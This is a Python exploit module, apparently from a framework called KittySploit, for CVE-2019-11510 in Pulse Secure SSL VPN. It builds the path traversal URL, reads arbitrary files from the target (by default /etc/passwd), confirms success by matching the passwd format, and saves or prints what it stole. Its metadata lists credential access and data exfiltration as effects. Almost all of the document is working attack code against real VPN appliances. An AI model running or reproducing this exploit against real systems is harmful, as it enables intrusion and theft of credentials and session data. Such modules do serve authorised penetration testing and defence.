Pulse Secure SSL VPN File Read (CVE-2019-11510)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Pulse Secure SSL VPN arbitrary file read (CVE-2019-11510)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Pulse Secure SSL VPN File Read (CVE-2019-11510)',
        'description': (
            'Exploits CVE-2019-11510 path traversal in Pulse Connect Secure to read '
            'arbitrary files such as /etc/passwd and VPN session data.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-11510'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2019-11510',
            'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/',
        ],
        'tags': ['pulse', 'pulsesecure', 'ivanti', 'lfi', 'file-read', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2019_11510_detect'],
            },
        },
    }

    file_path = OptString('/etc/passwd', 'Remote absolute path to read', required=True)
    output_file = OptString('', 'Local file to save content', required=False)

    def _traversal_path(self, remote: str) -> str:
        remote = remote if remote.startswith('/') else f'/{remote}'
        depth = '../../../../../../'
        return (
            f'/dana-na/../dana/html5acc/guacamole/{depth}{remote.lstrip("/")}'
            f'?/dana/html5acc/guacamole/'
        )

    def execute(self, remote_path: str) -> str:
        path = self._traversal_path(remote_path)
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2019-11510 file read confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Pulse traversal did not return file content', 'confidence': 'medium'}

    def run(self):
        target = str(self.file_path or '/etc/passwd')
        print_status(f'Reading {target} via Pulse Secure traversal ...')
        body = self.execute(target)
        if not body:
            print_error('Empty response')
            return False
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Wrote {len(body)} bytes to {out}')
        else:
            print_success(body[:4000])
        return True